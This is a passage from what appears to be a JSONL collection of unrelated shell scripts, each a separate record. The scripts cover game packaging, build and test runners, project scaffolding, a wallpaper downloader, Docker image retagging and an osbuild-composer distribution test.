Spore, Inspiring Altar\"\n #[cs_lc]=\"Corrosive Spore, Lightning Cannon\"\n #[ia_lc]=\"Inspiring Altar, Lightning Cannon\"\n #[df_lc]=\"Death Factory, Lightning Cannon\"\n #[cs_df]=\"Corrosive Spore, Death Factory\"\n #[df3_df]=\"Death Factory-3, Death Factory\"\n #[df_lc]=\"Death Factory, Lightning Cannon\"\n #[sf3_sf3]=\"Sky Fortress-3(2)\"\n #[cs_mt]=\"Corrosive Spore, Mortar Tower\"\n\n #[xx_xx]=\"\"\n)\n\ndeclare -A def_eforts=(\n #[ib_xx]=\"Illuminary Blockade\"\n [ff_xx]=\"Forcefield\"\n #[mf_xx]=\"Minefield\"\n #[fa_xx]=\"Foreboding Archway\"\n #[tc_xx]=\"Tesla Coil\"\n\n #[fa_ff]=\"Foreboding Archway, Forcefield\"\n\n #[mf_mf]=\"Minefield #2\"\n #[ff3_xx]=\"Forcefield-3\"\n #[tc3_xx]=\"Tesla Coil-3\"\n #[fa3_xx]=\"Foreboding Archway-3\"\n\n #[tc_tc]=\"Tesla Coil #2\"\n #[fa_fa]=\"Foreboding Archway #2\"\n #[ff_ff]=\"Forcefield #2\"\n #[ib_ib]=\"Illuminary Blockade #2\"\n #[ib_ib3]=\"Illuminary Blockade, Illuminary Blockade-3\"\n #[ib_ff3]=\"Illuminary Blockade, Forcefield-3\"\n\n ## attack forts\n #[ia_xx]=\"Inspiring Altar\"\n #[lc_xx]=\"Lightning Cannon\"\n #[df_xx]=\"Death Factory\"\n\n #[xx_xx]=\"\"\n)\n\ndeclare -A yforts eforts\ndeclare -a XOPTIONS\n\n#ENEMY_DECK=\"BRAWL_GT_MYTH:0.7;BRAWL_GT_HARD:0.9;BRAWL_GT_NORM:1.1\"\n#ENEMY_ALIAS=\"brawl_gt_hard\"\n\n#ENEMY_DECK=\"BRAWL_GT_HARD:0.7;BRAWL_GT_NORM:1.1;BRAWL_GT_EASY:0.8\"\n#ENEMY_ALIAS=\"brawl_gt_norm\"\n\n#ENEMY_DECK=\"BRAWL_GT_ATK_MYTH:0.75;BRAWL_GT_ATK_HERO:1.0;BRAWL_GT_ATK_NORM:0.85\"\n#ENEMY_ALIAS=\"brawl_gt_atk_strong\"\n\nENEMY_DECK=\"GW_GT_HARD;GW_GT_NORM\"\nENEMY_ALIAS=\"gw_gt_strong\"\n\n#ENEMY_DECK=\"GW_GT_HARD:0.5;GW_GT_NORM:1.0;GW_GT_EASY:0.75\"\n#ENEMY_ALIAS=\"gw_gt_medium\"\n\n#ENEMY_DECK=\"GW_GT_ATK_ALL\"\n#ENEMY_ALIAS=\"gw_gt_atk\"\n\n#ENEMY_DECK=\"GW_GT_ATK_HARD;GW_GT_ATK_NORM\"\n#ENEMY_ALIAS=\"gw_gt_atk_strong\"\n\n#BGE=\"_DEVOUR\"\n#unset BGE\n\n#ENEMY_DECK=\"BRAWL_GT${BGE}_FANT:1;BRAWL_GT${BGE}_MYTH:2;BRAWL_GT${BGE}_HERO:5;BRAWL_GT${BGE}_NORM:3\"\n#ENEMY_ALIAS=\"brawl_gt_strong\"\n\n#ENEMY_DECK=\"BRAWL_GT${BGE}_MYTH:1;BRAWL_GT${BGE}_HERO:3;BRAWL_GT${BGE}_NORM:2\"\n#ENEMY_ALIAS=\"brawl_gt_medium\"\n\nCOMMON_XOPTIONS=(\n -f _${TUO_LOGIN:-dsuchka}\n -f _${TUO_LOGIN:-dsuchka}_bb\n #-f _brawl_gt\n #-f _brawl_gt_atk\n #-f _arena\n -f _gw_gt_atk.SF_SF_x_FA\n -f _gw_gt.FA_x_SF_SF\n -t 2\n #-f dom-\n)\n\ncommanders=(\n any\n any_imp\n any_counter\n typhon\n silus\n krellus\n\n #nexor\n #ded\n #kylen\n #const\n #any\n)\n\nif [[ $TUO_LOGIN == \"lugofira\" ]]; then\n commanders=(\n ded\n #nexor\n #typhon\n #any\n )\nfi\n\n\nif (( $defense )); then\n for x in \"${!def_yforts[@]}\"; do\n yforts[$x]=\"${def_yforts[$x]}\"\n done\n for x in \"${!atk_eforts[@]}\"; do\n eforts[$x]=\"${atk_eforts[$x]}\"\n done\n\n XOPTIONS=(\n \"${COMMON_XOPTIONS[@]}\"\n -i 25${TUO_DECK:+00} -I 250\n -d\n -f enemy:ordered\n )\nelse\n for x in \"${!atk_yforts[@]}\"; do\n yforts[$x]=\"${atk_yforts[$x]}\"\n done\n for x in \"${!def_eforts[@]}\"; do\n eforts[$x]=\"${def_eforts[$x]}\"\n done\n\n XOPTIONS=(\n \"${COMMON_XOPTIONS[@]}\"\n -i 10${TUO_DECK:+00} -I 100\n )\nfi\n\n\nif [[ -n $TUO_DECK ]]; then\n commanders=(deck)\nfi\n\nfor yfort in \"${!yforts[@]}\"; do\n for efort in \"${!eforts[@]}\"; do\n for ybge in \"${ybges[@]}\"; do\n for ebge in \"${ebges[@]}\"; do\n for commander in \"${commanders[@]}\"; do\n tuo-exp-gw.sh \\\n -c \"$commander\" \\\n -Y \"${yforts[$yfort]}\" \\\n -E \"${eforts[$efort]}\" \\\n -e \"${gbge}:${ybge}:${ebge}\" \\\n -G \"$ENDGAME\" -F \"$FUND\" \\\n -L 3 -U 10 \\\n ${TUO_DECK:+-s -D \"$TUO_DECK\"} \\\n \"${XOPTIONS[@]}\" \\\n \"${ENEMY_DECK}\" \"${ENEMY_ALIAS}.${yfort}.${efort}\"\n done\n done\n done\n done\ndone"} {"text": "#!/bin/sh -e\nset -o errexit\n\n###\n# Copyright (c) 2015-2019, Antoine \"vv221/vv222\" <NAME>\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# This software is provided by the copyright holders and contributors \"as is\"\n# and any express or implied warranties, including, but not limited to, the\n# implied warranties of merchantability and fitness for a particular purpose\n# are disclaimed. In no event shall the copyright holder or contributors be\n# liable for any direct, indirect, incidental, special, exemplary, or\n# consequential damages (including, but not limited to, procurement of\n# substitute goods or services; loss of use, data, or profits; or business\n# interruption) however caused and on any theory of liability, whether in\n# contract, strict liability, or tort (including negligence or otherwise)\n# arising in any way out of the use of this software, even if advised of the\n# possibility of such damage.\n###\n\n###\n# A Story About My Uncle\n# build native Linux packages from the original installers\n# send your bug reports to <EMAIL>\n###\n\nscript_version=20180130.1\n\n# Set game-specific variables\n\nGAME_ID='a-story-about-my-uncle'\nGAME_NAME='A Story About My Uncle'\n\nARCHIVES_LIST='ARCHIVE_HUMBLE'\n\nARCHIVE_HUMBLE='Linux-NoDRM-ASAMU_5188.zip'\nARCHIVE_HUMBLE_MD5='71f9f3add29a733c4a1a7d18d738d3d6'\nARCHIVE_HUMBLE_SIZE='1300000'\nARCHIVE_HUMBLE_VERSION='5188-humble170516'\n\nARCHIVE_ICONS_PACK='a-story-about-my-uncle_icons.tar.gz'\nARCHIVE_ICONS_PACK_MD5='db4eb7ab666e61ea5fc983102099ab31'\n\nARCHIVE_GAME_BIN32_PATH='.'\nARCHIVE_GAME_BIN32_FILES='Binaries/linux-x86 Binaries/SDL2/lib/linux-x86'\n\nARCHIVE_GAME_BIN64_PATH='.'\nARCHIVE_GAME_BIN64_FILES='Binaries/linux-amd64 Binaries/SDL2/lib/linux-amd64'\n\nARCHIVE_GAME_DATA_PATH='.'\nARCHIVE_GAME_DATA_FILES='./ASAMU ./Engine'\n\nARCHIVE_ICONS_PATH='.'\nARCHIVE_ICONS_FILES='32x32'\n\nCONFIG_DIRS='./ASAMU/Cloud ./ASAMU/Config'\nDATA_DIRS='./ASAMU/Saves'\n\nAPP_MAIN_TYPE='native'\nAPP_MAIN_EXE_BIN32='Binaries/linux-x86/ASAMU'\nAPP_MAIN_EXE_BIN64='Binaries/linux-amd64/ASAMU'\n\nPACKAGES_LIST='PKG_DATA PKG_BIN32 PKG_BIN64'\n\nPKG_DATA_ID=\"${GAME_ID}-data\"\nPKG_DATA_DESCRIPTION='data'\n\nPKG_BIN32_ARCH='32'\nPKG_BIN32_DEPS_DEB=\"$PKG_DATA_ID, libc6, libstdc++6, libsdl2-2.0-0, libopenal1, libgl1-mesa-glx | libgl1\"\nPKG_BIN32_DEPS_ARCH=\"$PKG_DATA_ID lib32-glibc lib32-gcc-libs lib32-sdl2 lib32-libopenal lib32-libgl\"\n\nPKG_BIN64_ARCH='64'\nPKG_BIN64_DEPS_DEB=\"$PKG_BIN32_DEPS_DEB\"\nPKG_BIN64_DEPS_ARCH=\"$PKG_DATA_ID glibc gcc-libs sdl2 openal libgl\"\n\n# Load common functions\n\ntarget_version='2.5'\n\nif [ -z \"$PLAYIT_LIB2\" ]; then\n\t[ -n \"$XDG_DATA_HOME\" ] || XDG_DATA_HOME=\"$HOME/.local/share\"\n\tif [ -e \"$XDG_DATA_HOME/play.it/play.it-2/lib/libplayit2.sh\" ]; then\n\t\tPLAYIT_LIB2=\"$XDG_DATA_HOME/play.it/play.it-2/lib/libplayit2.sh\"\n\telif [ -e './libplayit2.sh' ]; then\n\t\tPLAYIT_LIB2='./libplayit2.sh'\n\telse\n\t\tprintf '\\n\\033[1;31mError:\\033[0m\\n'\n\t\tprintf 'libplayit2.sh not found.\\n'\n\t\texit 1\n\tfi\nfi\n#shellcheck source=play.it-2/lib/libplayit2.sh\n. \"$PLAYIT_LIB2\"\n\n# Try to load icons archive\n\nARCHIVE_MAIN=\"$ARCHIVE\"\nset_archive 'ARCHIVE_ICONS' 'ARCHIVE_ICONS_PACK'\nARCHIVE=\"$ARCHIVE_MAIN\"\n\n# Extract game data\n\nextract_data_from \"$SOURCE_ARCHIVE\"\nset_standard_permissions \"$PLAYIT_WORKDIR/gamedata\"\nif [ \"$ARCHIVE_ICONS\" ]; then\n\t(\n\t\tARCHIVE='ARCHIVE_ICONS'\n\t\textract_data_from \"$ARCHIVE_ICONS\"\n\t)\nfi\n\nfor PKG in $PACKAGES_LIST; do\n\torganize_data \"GAME_${PKG#PKG_}\" \"$PATH_GAME\"\ndone\n\nPKG='PKG_DATA'\nif [ \"$ARCHIVE_ICONS\" ]; then\n\torganize_data 'ICONS' \"$PATH_ICON_BASE\"\nfi\n\nrm --recursive \"$PLAYIT_WORKDIR/gamedata\"\n\n# Write launchers\n\nfor PKG in 'PKG_BIN32' 'PKG_BIN64'; do\n\twrite_launcher 'APP_MAIN'\ndone\n\n# Build package\n\nwrite_metadata\nbuild_pkg\n\n# Clean up\n\nrm --recursive \"$PLAYIT_WORKDIR\"\n\n# Print instructions\n\nprintf '\\n'\nprintf '32-bit:'\nprint_instructions 'PKG_DATA' 'PKG_BIN32'\nprintf '64-bit:'\nprint_instructions 'PKG_DATA' 'PKG_BIN64'\n\nexit 0"} {"text": "<reponame>Ehsan-saradar/tenderdash\nkillall tenderdash\nkillall abci-cli\nrm -rf ~/.tenderdash_app"} {"text": "#!/bin/sh\n\nlibname='random'\nrm -f \"${libname}.zip\"\nzip -r \"${libname}.zip\" haxelib.json haxedoc.xml src LICENSE.txt README.md\necho \"Saved as ${libname}.zip\""} {"text": "<reponame>matiasturunen/weatherlog\n#!/bin/bash\r\n#UPLOAD=$1\r\nUPLOAD=\"pi@192.168.0.227:~/weatherlog/\"\r\nfswatch -0 . | xargs -0 -I {} sh -c 'p=\"{}\"; f=\"${p/$(pwd)\\/}\"; scp $p '\"$UPLOAD\"'\"${f}\"'"} {"text": "#!/usr/bin/env bash\ncoverage run -m unittest -v tests.test_outputs\ntest1001=$?\ncoverage run --append -m unittest -v tests.test_inputs\ntest1002=$?\ncoverage run --append -m unittest -v tests.test_examples\ntest1003=$?\n\npycodestyle -v micromez/*.py\nlint_micromez=$?\npycodestyle -v examples\nlint_examples=$?\npycodestyle -v micromez/fonts/font_builder.py\nlint_fonts=$?\n\ncoverage report\ncoverage html\ngroup100=$((test1001 + test1002 + test1003))\ngroup_lint=$((lint_micromez + lint_examples + lint_fonts))\nif [ $((group100 + group_lint)) -ne 0 ]; then\n echo -e \"\\n\\n### A test has failed!! ###\\n\"\nelse\n echo -e \"\\n\\nSuccess!!!\\n\"\nfi"} {"text": "INITIAL_WINDOW=`xdotool getwindowfocus`\nxdotool search --name \"Google Play Music\" windowfocus key space\nxdotool windowfocus ${INITIAL_WINDOW}"} {"text": "#!/bin/sh\n\necho \"checking for homebrew updates\";\nbrew update\nfunction install_current {\n echo \"trying to update $1\"\n brew upgrade $1 || brew install $1 || true\n brew link $1\n}\nif [ -e \"Mintfile\" ]; then\n install_current mint\n mint bootstrap\nfi\n# Install gems if a Gemfile exists\nif [ -e \"Gemfile\" ]; then\n echo \"installing ruby gems\";\n # install bundler gem for ruby dependency management\n gem install bundler --no-document || echo \"failed to install bundle\";\n bundle config set deployment 'true';\n bundle install || echo \"failed to install bundle\";\nfi"} {"text": "function initialize_project {\n git init\n npx license $(npm get init-license) -o \"$(npm get init-author-name)\"\n npx gitignore node\n npm init -y\n}\n\nfunction initial_commit {\n git add -A\n git commit -m \"Initial commit\"\n}\n\nfunction create_ignore_files {\ncat > .eslintignore <<- \"EOF\"\ndist\nEOF\n\ncat > .prettierignore <<- \"EOF\"\ndist\nEOF\n}\n\nfunction config_eslint {\ncat > .eslintrc <<- \"EOF\"\n{\n \"parser\": \"@typescript-eslint/parser\",\n \"extends\": [\"airbnb-base\", \"prettier\", \"plugin:import/typescript\"],\n \"plugins\": [\"prettier\", \"@typescript-eslint\"],\n \"rules\": {\n \"prettier/prettier\": [\"error\"],\n \"no-unused-vars\": \"off\",\n \"@typescript-eslint/no-unused-vars\": [\"error\", { \"vars\": \"all\", \"args\": \"after-used\", \"ignoreRestSiblings\": false }]\n },\n \"env\": {\n \"mocha\": true\n }\n}\nEOF\n}\n\nfunction config_prettier {\ncat > .prettierrc <<- \"EOF\"\n{\n \"arrowParens\": \"avoid\",\n \"bracketSpacing\": true,\n \"htmlWhitespaceSensitivity\": \"css\",\n \"insertPragma\": false,\n \"jsxBracketSameLine\": false,\n \"jsxSingleQuote\": false,\n \"printWidth\": 80,\n \"proseWrap\": \"preserve\",\n \"requirePragma\": false,\n \"semi\": true,\n \"singleQuote\": false,\n \"tabWidth\": 2,\n \"trailingComma\": \"all\",\n \"useTabs\": false\n}\nEOF\n}\n\nfunction config_typescript {\ncat > tsconfig.json <<- \"EOF\"\n{\n \"compilerOptions\": {\n \"allowJs\": true,\n \"module\": \"commonjs\",\n \"esModuleInterop\": true,\n \"target\": \"es6\",\n \"noImplicitAny\": true,\n \"moduleResolution\": \"node\",\n \"sourceMap\": true,\n \"outDir\": \"dist\",\n \"baseUrl\": \".\",\n \"paths\": {\n \"*\": [\n \"node_modules/*\"\n ]\n }\n },\n \"include\": [\n \"src/**/*\"\n ]\n}\nEOF\n}\n\nfunction config_nodemon {\ncat > nodemon.json <<- \"EOF\"\n{\n \"restartable\": \"rs\",\n \"ignore\": [\".git\", \"node_modules/**/node_modules\"],\n \"verbose\": true,\n \"execMap\": {\n \"ts\": \"node --require ts-node/register\"\n },\n \"watch\": [\"src/\"],\n \"env\": {\n \"NODE_ENV\": \"development\"\n },\n \"ext\": \"js,json,ts\"\n}\nEOF\n}"} {"text": "<filename>marseditsync.sh\n#!/bin/sh\nbundle exec ruby exe/marseditsync \"$@\""} {"text": "<filename>link.sh<gh_stars>1-10\nnpm link ../coreui-react-docs/node_modules/react\n#npm link ../coreui-pro-react-admin-template/node_modules/react\n#npm link ../coreui-pro-react-admin-template/node_modules/react-dom\n#npm link ../coreui-pro-react-admin-template/node_modules/react-router-dom"} {"text": "<reponame>cben-githgmirror/di<gh_stars>0\n#!/bin/sh\n\n. $_MKCONFIG_DIR/bin/testfuncs.sh\n\nmaindodisplay $1 install\nmaindoquery $1 $_MKC_ONCE\n\ngetsname $0\ndosetup $@\n\nfor d in C D; do\n if [ $d = D -a \\( \"$DC\" = \"\" -o \"$DC\" = \"skip\" \\) ]; then\n continue\n fi\n tdir=$_MKCONFIG_RUNTOPDIR/$d\n (\n cd $tdir\n if [ $? -eq 0 ]; then\n instdir=\"`pwd`/test_di\"\n ${MAKE:-make} ${TMAKEFLAGS} -e prefix=${instdir} all\n > ${_MKCONFIG_TSTRUNTMPDIR}/make.log 2>&1\n fi\n )\n if [ -x ${tdir}/di ]; then\n echo ${EN} \" ${d}${EC}\" >&5\n cd ${tdir}\n grc=0\n\n instdir=\"`pwd`/test_di\"\n unset MAKEFLAGS\n ${MAKE:-make} ${TMAKEFLAGS} -e prefix=${instdir} install\n rc=$?\n\n # leave a copy laying around...make realclean will clean it up\n set +f\n cp mkconfig.log mkconfig.cache mkc*.vars di.env di.reqlibs \\\n $_MKCONFIG_TSTRUNTMPDIR\n set -f\n\n if [ $rc -ne 0 ]; then grc=$rc; fi\n ${instdir}/bin/di\n rc=$?\n if [ $rc -ne 0 ]; then grc=$rc; fi\n if [ $grc -ne 0 ]; then\n echo ${EN} \"*${EC}\" >&5\n fi\n else\n if [ $d = C ]; then\n echo \"## no di executable found for dir $d\"\n grc=1\n fi\n fi\ndone\n\nexit $grc"} {"text": "#!/usr/bin/env bash\n\nPICTURE_DIR=\"$HOME/Pictures/bing-wallpapers/\"\n\nmkdir -p $PICTURE_DIR\n\nurls=( $(curl -sL http://www.bing.com | \\\n grep -Eo \"url:'.*?'\" | \\\n sed -e \"s/url:'\\([^']*\\)'.*/http:\\/\\/bing.com\\1/\" | \\\n sed -e \"s/\\\\\\//g\") )\n\nfor p in ${urls[@]}; do\n filename=$(echo $p|sed -e \"s/.*\\/\\(.*\\)/\\1/\")\n if [ ! -f $PICTURE_DIR/$filename ]; then\n echo \"Downloading: $filename ...\"\n curl -Lo \"$PICTURE_DIR/$filename\" $p\n mogrify -fill white -pointsize 25 -draw \"text 0,25 $filename\" \"$PICTURE_DIR/$filename\"\n else\n echo \"Skipping: $filename ...\"\n fi\ndone"} {"text": "<reponame>tulir/tcell<gh_stars>0\nwhile read line\ndo\n case \"$line\" in\n *'|'*)\n alias=${line#*|}\n line=${line%|*}\n ;;\n *)\n alias=${line%%,*}\n ;;\n esac\n\n alias=${alias//-/_}\n direc=${alias:0:1}\n\n mkdir -p ${direc}/${alias}\n echo \"go run mkinfo.go -P ${alias} -nofatal -go ${direc}/${alias}/term.go ${line//,/ }\"\n go run mkinfo.go -P ${alias} -nofatal -go ${direc}/${alias}/term.go ${line//,/ }\ndone < models.txt"} {"text": "# Building bootstrap tools\necho Building the trivial bootstrap environment...\n$mkdir -p $out/bin\n\n$ln -s $ln $out/bin/ln\n\nPATH=$out/bin/\n\ncd $out/bin\n\nln -s $mkdir\nln -s /bin/sh\nln -s /bin/cp\nln -s /bin/mv\nln -s /bin/rm\nln -s /bin/ls\nln -s /bin/ps\nln -s /bin/cat\nln -s /bin/bash\nln -s /bin/echo\nln -s /bin/expr\nln -s /bin/test\nln -s /bin/date\nln -s /bin/chmod\nln -s /bin/rmdir\nln -s /bin/sleep\nln -s /bin/hostname\n\nln -s /usr/bin/id\nln -s /usr/bin/od\nln -s /usr/bin/tr\nln -s /usr/bin/wc\nln -s /usr/bin/cut\nln -s /usr/bin/cmp\nln -s /usr/bin/sed\nln -s /usr/bin/tar\nln -s /usr/bin/xar\nln -s /usr/bin/awk\nln -s /usr/bin/env\nln -s /usr/bin/tee\nln -s /usr/bin/comm\nln -s /usr/bin/cpio\nln -s /usr/bin/curl\nln -s /usr/bin/find\nln -s /usr/bin/grep\nln -s /usr/bin/gzip\nln -s /usr/bin/head\nln -s /usr/bin/tail\nln -s /usr/bin/sort\nln -s /usr/bin/uniq\nln -s /usr/bin/less\nln -s /usr/bin/true\nln -s /usr/bin/diff\nln -s /usr/bin/egrep\nln -s /usr/bin/fgrep\nln -s /usr/bin/patch\nln -s /usr/bin/uname\nln -s /usr/bin/touch\nln -s /usr/bin/split\nln -s /usr/bin/xargs\nln -s /usr/bin/which\nln -s /usr/bin/install\nln -s /usr/bin/basename\nln -s /usr/bin/dirname\nln -s /usr/bin/readlink"} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\nset -ex\n\nif [[ \"$#\" -lt 1 ]]; then\n echo \"You must provide the Mirror Node image tag (e.g. 0.14.0)\"\n exit 1\nfi\n\n# Same source and target tags\nif [[ \"$#\" -eq 1 ]]; then\n source_tag=\"${1}\"\n target_tag=\"${source_tag}\"\nfi\n\n# Different source and target tags. Useful for testing chart changes with existing tags.\nif [[ \"$#\" -eq 2 ]]; then\n source_tag=\"${1}\"\n target_tag=\"${2}\"\nfi\n\ntarget_tag=\"${target_tag#v}\" # Strip v prefix if present\ntarget_tag_minor=\"${target_tag%\\.*}\"\nbats_tag=\"1.2.1\"\npostgresql_tag=\"12.5.0-debian-10-r88\"\nregistry=\"gcr.io/mirror-node-public/hedera-mirror-node\"\n\nfunction retag() {\n local source=${1}\n local image=${2}\n local target=\"${registry}/${image}\"\n\n # Main image\n if [[ -z \"${image}\" ]]; then\n target=\"${registry}\"\n fi\n\n docker pull \"${source}\"\n docker tag \"${source}\" \"${target}:${target_tag}\"\n docker push \"${target}:${target_tag}\"\n\n # Don't update minor tag for pre-release tags\n if [[ ! \"${target_tag}\" =~ .*-.* ]]; then\n docker tag \"${source}\" \"${target}:${target_tag_minor}\"\n docker push \"${target}:${target_tag_minor}\"\n fi\n}\n\n# Ensure chart app version matches schema.yaml version\nsed -i .bak \"s/version: .*/version: ${target_tag}/\" values.yaml\n\n# Build Marketplace deployer image\ndocker build -f ./Dockerfile -t \"${registry}/deployer:${target_tag}\" --build-arg tag=\"${target_tag}\" ../..\ndocker push \"${registry}/deployer:${target_tag}\"\n\n# Retag other images\nretag \"bats/bats:${bats_tag}\" \"test\"\nretag \"bitnami/postgresql-repmgr:${postgresql_tag}\" \"postgresql-repmgr\"\nretag \"${registry}/deployer:${target_tag}\" \"deployer\"\nretag \"gcr.io/mirrornode/hedera-mirror-grpc:${source_tag}\" \"grpc\"\nretag \"gcr.io/mirrornode/hedera-mirror-importer:${source_tag}\" \"\"\nretag \"gcr.io/mirrornode/hedera-mirror-rest:${source_tag}\" \"rest\"\n\nmv values.yaml.bak values.yaml\necho \"Successfully pushed all images\"\nexit 0"} {"text": "#!/bin/bash\n# --------------------------------------------------------------------\n# author: hoojo\n# email: <EMAIL>\n# github: https://github.com/hooj0\n# create date: 2018-08-26\n# copyright by hoojo@2018\n# --------------------------------------------------------------------\n\n#@changelog Hyperledger composer prerequisites environment software and tools setup script"} {"text": "#! /bin/bash\nset -ex\n\nBUILD_DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ')\n\nBUILD_CONTAINER_IMAGE=${1:-buildah bud}\nWORKDIR=${2:-$(mktemp -d)}\n\nmkdir -p ${WORKDIR}/container/\ncp pkg/requirements.txt ${WORKDIR}/container/\ncp -a src ${WORKDIR}/container/\nsed -r \"s/@BUILD_DATE@/$BUILD_DATE/g\" pkg/Dockerfile.in > ${WORKDIR}/container/Dockerfile\ncd ${WORKDIR}/container/ && \\\n${BUILD_CONTAINER_IMAGE} -t nof:latest .\n# run this container image\n# podman run -d -p 5000:5000 nof"} {"text": "<reponame>BrianKmdy/mantaflow\n# a selection of test runs\n\n# path to executable\nMANTA=manta\nMANTA=../mbbManta/buildSecondStd/manta\n\n# optional GUI\nGUI=\n#GUI=-g\n\n# 2D\n${MANTA} create_dataset.py --name=TEST_smoke_simple -t smoke_simple -n 2 -s 10 -w 15 -d 2 ${GUI}\n\n${MANTA} create_dataset.py --name=TEST_smoke_buoyant -t smoke_buoyant -n 2 -s 10 -w 15 -d 2 ${GUI}\n\n${MANTA} create_dataset.py --name=TESTSIM -t flip -n 5 -s 10 -w 15 -d 2 --max_obstacle_count 3 --max_drop_count 5 ${GUI}\n\n# 3D\n${MANTA} create_dataset.py --name=TEST_smoke_simple -t smoke_simple -n 2 -s 10 -w 15 -d 3 ${GUI}\n\n${MANTA} create_dataset.py --name=TEST_smoke_buoyant -t smoke_buoyant -n 2 -s 10 -w 15 -d 3 ${GUI}\n\n${MANTA} create_dataset.py --name=TESTSIM -t flip -n 3 -s 10 -w 15 -d 3 --max_obstacle_count 0 --max_drop_count 3 ${GUI}"} {"text": "#!/usr/bin/bash\n\n#\n# Test the available distributions. Only allow releases for the current distro.\n#\nAPISOCKET=/run/weldr/api.socket\n\nsource /etc/os-release\n\n# Build a grep pattern that results in an empty string when the expected distros are installed\ncase $ID in\n fedora)\n PATTERN=\"\\[|\\]|fedora-\"\n ;;\n rhel)\n MAJOR=$(echo \"$VERSION_ID\" | sed -E 's/\\..*//')\n case $MAJOR in\n 8)\n # RHEL 8 only supports building RHEL 8\n PATTERN=\"\\[|\\]|rhel-$MAJOR\"\n ;;\n *)\n # RHEL 9 and later support building all releases\n PATTERN=\"\\[|\\]|rhel-*\"\n ;;\n esac\n ;;\n centos)\n MAJOR=$(echo \"$VERSION_ID\" | sed -E 's/\\..*//')\n case $MAJOR in\n 8)\n # CentOS 8 only supports building CentosOS 8\n PATTERN=\"\\[|\\]|centos-$MAJOR\"\n ;;\n *)\n # CentOS 9 and later support building all releases\n PATTERN=\"\\[|\\]|centos-*\"\n ;;\n esac\n ;;\n *)\n echo \"Unknown distribution id: $ID 😢\"\n exit 1\n ;;\nesac\n\n\n# Provision the software under test.\n/usr/libexec/osbuild-composer-test/provision.sh\necho \"====> Finished Provisioning system\"\necho \"====> Starting $(basename \"$0\")\"\n\n# Remove repo overrides installed by provision.sh, these will show up in the\n# list and cause it to fail and are not needed since this test doesn't build\n# anything.\nsudo rm -f /etc/osbuild-composer/repositories/*\nsudo systemctl try-restart osbuild-composer\n\necho \"Repository directories:\"\nls -lR /etc/osbuild-composer/repositories/\nls -lR /usr/share/osbuild-composer/repositories/\n\necho \"Repositories installed by the rpm:\"\nrpm -qil osbuild-composer-core\n\n# composer-cli in RHEL 8 doesn't support distro command, so use curl for this test\nif [ ! -e $APISOCKET ]; then\n echo \"osbuild-composer.socket has not been started. 😢\"\n exit 1\nfi\n\nif ! sudo curl -s --unix-socket $APISOCKET http:///localhost/api/status > /dev/null; then\n echo \"osbuild-composer server not available. 😢\"\n exit 1\nfi\n\nif ! RECOGNIZED_DISTROS=$(sudo curl -s --unix-socket $APISOCKET http:///localhost/api/v1/distros/list | jq -r '.distros[]'); then\n echo \"osbuild-composer server error getting distros list. 😢\"\n exit 1\nfi\n\n# Get a list of all installed distros and compare it with a pattern matching host distribution\n# Filter out beta and centos-stream, see GH issue #2257\nINSTALLED_DISTROS=$(find \"/usr/share/osbuild-composer/repositories\" -name '*.json' -printf '%P\\n' | awk -F \".\" '{ print $1 }' | grep -Ev 'beta|stream' | sort)\nINSTALLED_REMAINDER=$(echo \"$INSTALLED_DISTROS\" | grep -v -E \"$PATTERN\")\n# Check if there are any extra distros that match the host pattern but are not recognized\nUNRECOGNIZED_DISTROS=$(echo \"${INSTALLED_DISTROS}\" | grep -v \"${RECOGNIZED_DISTROS}\")\nif [ -n \"$INSTALLED_REMAINDER\" ] || [ -n \"$UNRECOGNIZED_DISTROS\" ];then\n echo \"Unexpected distros detected:\"\n echo \"$INSTALLED_REMAINDER\"\n echo \"$UNRECOGNIZED_DISTROS\"\n exit 1\nelse\n echo \"All installed distros are recognized by composer.\"\nfi\n\n# set path to all composer repositories\nif [ ! -d \"repositories/\" ]; then\n git clone --depth 1 http://github.com/osbuild/osbuild-composer\n REPO_PATH=\"osbuild-composer/repositories/\"\nelse\n REPO_PATH=\"repositories/\"\nfi\n\n# ALL_DISTROS - all possible distros from upstream repository\n# ALL_EXPECTED_DISTROS - all distros matching host pattern\n# ALL_REMAINDERS - all the unrecognized distros\n# Filter out beta and centos-stream, see GH issue #2257\nALL_DISTROS=$(find \"$REPO_PATH\" -name '*.json' -printf '%P\\n' | awk -F \".\" '{ print $1 }')\nALL_EXPECTED_DISTROS=$(echo \"$ALL_DISTROS\" | grep -E \"$PATTERN\" | grep -Ev 'beta|stream' | sort)\nALL_REMAINDERS=$(echo \"$ALL_DISTROS\" | grep -v \"$RECOGNIZED_DISTROS\")\n\n# Check for any missing distros based on the expected host pattern\nif [ \"$ALL_EXPECTED_DISTROS\" != \"$INSTALLED_DISTROS\" ];then\n echo \"Some distros are missing!\"\n echo \"Missing distros:\"\n diff <(echo \"${ALL_EXPECTED_DISTROS}\") <(echo \"${INSTALLED_DISTROS}\") | grep \"<\" | sed 's/^<\\ //g'\n exit 1\nfi\n\n# Push a blueprint with unsupported distro to see if composer fails gracefuly\nfor REMAINING_DISTRO in $ALL_REMAINDERS; do\n TEST_BP=blueprint.toml\n tee \"$TEST_BP\" > /dev/null << EOF\nname = \"bash\"\ndescription = \"A base system with bash\"\nversion = \"0.0.1\"\ndistro= \"$REMAINING_DISTRO\"\n\n[[packages]]\nname = \"bash\"\nEOF\n RESPONSE=$(sudo composer-cli blueprints push $TEST_BP 2>&1)\n\n # there is a different reponse if legacy composer-cli is used\n if rpm -q --quiet weldr-client; then\n EXPECTED_RESPONSE=\"ERROR: BlueprintsError: '$REMAINING_DISTRO' is not a valid distribution\"\n else\n EXPECTED_RESPONSE=\"'$REMAINING_DISTRO' is not a valid distribution\"\n RESPONSE=${RESPONSE#*: }\n fi\n\n if [ \"$RESPONSE\" == \"$EXPECTED_RESPONSE\" ];then\n echo \"Blueprint push with $REMAINING_DISTRO distro failed as expected.\"\n else\n echo \"Something went wrong during blueprint push test.\"\n echo \"RESPONSE=$RESPONSE\"\n echo \"EXPECTED_RESPONSE=$EXPECTED_RESPONSE\"\n exit 1\n fi\ndone\n\necho \"🎉 All tests passed.\"\nexit 0"} {"text": "<gh_stars>1-10\n#!/bin/bash\n\nP=\"${1?Specify a API 